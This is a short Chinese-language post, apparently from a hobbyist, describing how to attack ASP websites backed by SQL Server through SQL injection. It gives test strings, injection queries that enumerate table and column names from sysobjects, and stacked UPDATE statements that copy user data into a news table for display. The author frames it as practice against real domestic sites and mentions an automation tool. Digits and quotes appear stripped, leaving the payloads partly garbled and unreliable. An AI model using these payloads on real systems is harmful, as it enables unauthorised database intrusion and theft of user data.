潜心研究sql injection一个余月发现国内存在sql injection漏洞的网站一大把一大把%以上的asp网站都似乎是不学无术骗吃骗喝的程序员所做不光漏洞多而且网站内部结构也是零乱无比……
关于sql injection网上流传甚广的SQL注入天书可以说是非常不错的入门介绍了在这里也要重复一些老套的手法
首先上手的都是==的方法测试验证漏洞字符则用 or = or =
而sql server特别的还有user>db_name()>但是这些手法都只是检测漏洞的方法真正有用的在下面
获得所有的Table表名
(Select distinct Top name from sysobjects where xtype=U and status> and name not in (select distinct top iname from sysobjects where xtype=U and status> order by name) order by name)>
i为一个整数i取时返回第一个table name(按表名排序)返回第二个依此类推直到什么都没有返回为止
得到表名后再获得字段名(field name)
(Select Top col_name(object_id(TableName)i) from sysobjects)>
这一句返回TableName这个表里第i个字段的名字
得到所有的表名以及里面字段名估计对这个网站的结构也就有相应的了解了然后怎样获得字段中的数据呢?
如果是字符串自然用>的技俩如果是其它类型那就找一个新闻之类的表再用
;update news set caption=(select username from users where id=) where newsid=; 之类的方法把你要的数据写出来这样基本上就没有你不知道的内容了
我自己用VB做了个软件自动获得表名和字段名速度极快瞬间整个数据库的结构就出来了
当然这些不过是sql语句的构造而已没什么过多的技术另外这一个网页也是sql server injection必备的哟